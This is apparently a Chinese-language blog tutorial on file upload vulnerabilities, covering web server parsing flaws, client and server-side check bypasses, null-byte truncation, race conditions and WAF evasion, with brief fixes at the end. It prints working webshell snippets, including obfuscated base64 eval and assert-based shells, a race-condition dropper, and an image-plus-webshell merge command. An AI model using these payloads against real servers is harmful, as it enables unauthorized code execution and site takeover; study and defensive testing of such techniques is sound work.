文件上传漏洞一览

上传漏洞

  • 文件上传是没有对文件格式做验证,导致用户可以上传任意文件

上传漏洞检测点

  • 客户端 javascript 检测 (通常为检测文件扩展名)

  • 服务端 MIME 类型检测 (检测 Content-Type 内容)

  • 服务端目录路径检测 (检测跟 path 参数相关的内容)

  • 服务端文件扩展名检测 (检测跟文件 extension 相关的内容)

  • 服务端文件内容检测 (检测内容是否合法或含有恶意代码)

解析漏洞

  • 由web容器引发
  • 常见容器:IIS,Nginx,Apache,Tomcat
IIS解析漏洞
  • IIS总是和asp联系在一起

  • 每个版本的解析漏洞都不同,需要利用时自行查

  • 例如

IIS 6.0
  1. 当建立*.asa、*.asp格式的文件夹时,它目录下的任意文件都会被IIS当做asp文件来解析
  2. 当文件为*.asp;1.jpg时,同样会以ASP脚本来执行
WebDav
  • 基于HTTP1.1协议的通信协议,扩展了HTTP协议
  • 前提,开启了WebDav
  • 具体步骤
  1. 通过OPTIONS探测服务器所支持的HTTP方法
  2. 通过PUT方法向服务器上传文件
  3. 通过Move或Copy改名
  • 一款专针对WebDav的软件 IIS write
Apache解析漏洞

Apache解析漏洞

  • 存在版本 1.x到2.x
  • 解析原则:在遇到不认识的扩展名时,会从后向前解析,知道遇到认识的扩展名为止,若都不认识则会暴露源码
  • 它所认识的扩展名在/conf/mime.types里面
PHP CGL解析漏洞
  • 出自Nginx服务器(通常作为PHP的解析容器),其他服务器也有可能
  • 如:www.xxser.com/1.jpg/1.php(结果会解析1.jpg)
  • 原因:1.php其实并不存在,在PHP的配置文件里有一个: cgi.fi: x_pathinfo。这个选项是默认开启的,开启时因为x.php是不存在的,所以会向前解析

上传漏洞绕过

  • 程序员在防御时大致分为两种方法:客户端检测和服务器检测

校验姿势

  • 客户端绕过(抓包改包)

  • 服务端绕过

    • 文件类型
    • 文件头
    • 文件后缀名
  • 配合文件包含漏洞绕过

  • 配合服务器解析漏洞绕过

  • CMS、编辑器漏洞绕过

  • 配合操作系统文件命名规则绕过

  • 配合其他规则绕过

  • WAF绕过

客户端绕过

JS检测绕过攻击
  • 若上传文件后缀不被允许,则会弹框通知
  • 如何绕过?
  1. 使用浏览器插件,删除文件后缀的JS代码,然后上传文件即可

  2. 先把上传文件的后缀改成允许上传的,绕过JS检测,再抓包,把后缀名改成可执行文件的后缀即可成功

  • 注意

HTTP协议中有请求头Content-Length,代表实体正文长度,如果此时的filename修改,那么正文的长度也修改了,同时注意修改Content-Length请求头,保持长度一致

服务端绕过

目录验证绕过
  • 文件上传的时候,若指定的目录存在,就将文件写入目录中,不存在则先建立目录,然后写入

  • 引发漏洞的关键是

    在这里插入图片描述

  • 用0x00进行截断,或者在路径中设置一个.asp的文件,利用解析漏洞

文件后缀绕过攻击
黑名单
  • 一般有个blackist文件,里面包含常见危险脚本文件
  • 从黑名单找到开发人员忽略的拓展名如asa和cer之类的
  • 若upload.php中没有对接收到的文件拓展名进行大小写转换操作,那么可以上传asp,php这类的拓展名
  • 找能被解析的为民间拓展名列表如jpg:jspx,jspf asp:asa,cer aspx php:php3 php4 phtml pht exe:exee
  • windows下,若文件名以".“或空格结尾的,系统会自动去除”.“和空格,如"asp.”
  • 0x00截断绕过
  • htaccess文件攻击 配合名单列表绕过
白名单
  • 利用解析漏洞
  • 0x00截断绕过
文件类型绕过攻击(MIME类型)
  • 当上传文件的时候,通过burp抓包,若服务端代码是通过Content-Type的值来判断文件的类型,就存在绕过的可能
  • 原因:Content-type的值是通过客户端传递的,可以任意修改。如:Content-type:image/jpg
  • 特例
    PHP函数中getimagesize()能获取图片的宽,高等信息。
    若不是图片则获取不到信息,则不允许上传
    于是就有:
    把一个图片和一个Webshell合并为一个文件,例如使用如下命令:
    cat image.png webshell.php > image.php
    这是该函数就能获得信息,且也能解析脚本文件
文件截断绕过攻击
  • 形式:%00,0x00,/00
  • 截断类型%00截断最主要用于URL
  • 00截断用于上传文件名或路径名
  • 原理:00代表结束符,会把00后面的字符全部删除,核心在chr(0)
  • 条件:PHP版本小于5.3.4,PHP的magic_quotes_gpc为OFF状态
  • 存在于asp,jsp等程序
配合文件包含漏洞(利用phar://协议特性)
  • 主要用于绕WAF

  • 前提:检验规则只校验当文件后缀名为asp/php/jsp的文件内容是否为木马

  • 方法

    (1)先上传一个内容为木马的txt后缀文件,因为后缀名的关系没有检验内容;
    (2)然后再上传一个.php的文件,内容为

    <?php Include(“上传的txt文件路径”);?>
    此时,这个php文件就会去引用txt文件的内容,从而绕过校验,下面列举包含的语法:

    #PHP    
    <?php Include("上传的txt文件路径");?> 
    #ASP    
    <!--#include file="上传的txt文件路径" -->
    #JSP    
    <jsp:inclde page="上传的txt文件路径"/>
    or  
    <%@include file="上传的txt文件路径"%>
    
配合操作系统文件命名规则
  • 上传不符合windows文件命名规则的文件名
      test.asp.   test.asp(空格)   test.php:1.jpg   test.php::$DATA   shell.php::$DATA…….
    会被windows系统自动去掉不符合规则符号后面的内容
  • linux下后缀名大小写
    在linux下,如果上传php不被解析,可以试试上传pHp后缀的文件名。
CMS编辑器
竞争条件攻击
  • 一些网站上传的文件的逻辑是先允许上传任意文件,然后检查上传的文件是否含WebShell脚本,若包含则删除该文件。
  • 由于该过程上传和删除之间存在一个短短的时间差,则可以利用
  • 方法:在文件上传成功后。客户端立即访问该文件
  • 例如创建一个文件1.php
<?php
    fputs(fopen('../shell.php','w'),'<?php @eval($_POST[a])?>')
?>
  • 在1.php上传成功的时候,客户端立即访问1.php,则会在服务器端当前的目录下自动生成shell.php,这是就利用时间差上传成功了

文件内容验证绕过

针对文件头content-type字段校验image/gif绕过方法
  • 可以通过自己写正则匹配,判断文件头内容是否符合要求,这里举几个常见的文件头对应关系:

    .JPEG;.JPE;.JPG,”JPGGraphic File”

    .gif,”GIF 89A”

    .zip,”Zip Compressed”

    .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”

    在木马内容基础上再加了一些文件信息,有点像下面的结构
    GIF89a<?php phpinfo(); ?>

针对自定义正则校验绕过
  • 木马的编写,利用编码形式或其他的方式进行对内容验证的绕过,如:

    <?php
    error_reporting(0);set_time_limit(0);$a=base64_decode("Y"."X"."N"."z"."Z"."X"."J"."O");$a(@${"_p"."O"."S"."T"}[xw]);
    ?>
    
  • 免杀小马

    免杀小马1

    免杀小马2

    <?php usort($_GET,'asse'.'rt');?>
    

WAF绕过

垃圾数据
  • 有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。此种情况可以构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验
  • 当然也可以将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验。
  • 可以将垃圾数据加上Content-Disposition参数后面,参数内容过长,可能会导致waf检测出错。
filename
  • 多添一个filename
  • 可以将firename更换一个位置或者和name互换
POST/GET
  • 有些WAF的规则是:如果数据包为POST类型,则校验数据包内容。
    此种情况可以上传一个POST型的数据包,抓包将POST改为GET。
利用waf自身缺陷
  • 删除实体content-type字段

    1. 删除整行

    2. 删除C后面的字符,然后在.php后面加c,注意双引号,如:

      Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
      C.php"
      
  • 删除Content-Disposition字段里的空格

  1. 尝试在boundary后面加个空格或者其他可被正常处理的字符
  • 修改Content-Disposition字段值的大小写

  • Boundary边界不一致

    如果容器在处理的过程中并没有严格要求一致的话可能会导致一个问题,两段Boundary不一致使得waf认为这段数据是无意义的

  • 文件名处回车

  • 多个Content-Disposition

    在IIS的环境下,上传文件时如果存在多个Content-Disposition的话,IIS会取第一个Content-Disposition中的值作为接收参数,而如果waf只是取最后一个的话便会被绕过

  • 利用NTFS ADS特性

    ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。在上传文件时,如果waf对请求正文的filename匹配不当的话可能会导致绕过

    在这里插入图片描述

  • 文件名重命名绕过

  • 特殊的长文件名绕过

    文件名使用非字母数字,比如中文等最大程度的拉长

  • 反删除(JCMS漏洞)

修复建议

  • 使用白名单
  • 使用重命名。如:rand(10,99).data(“YmdHis”).".jpg"
  • 严格验证路径
  • 隐藏上传文件路径
  • 文件上传目录禁止脚本解析
  • 内容服务端校验
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值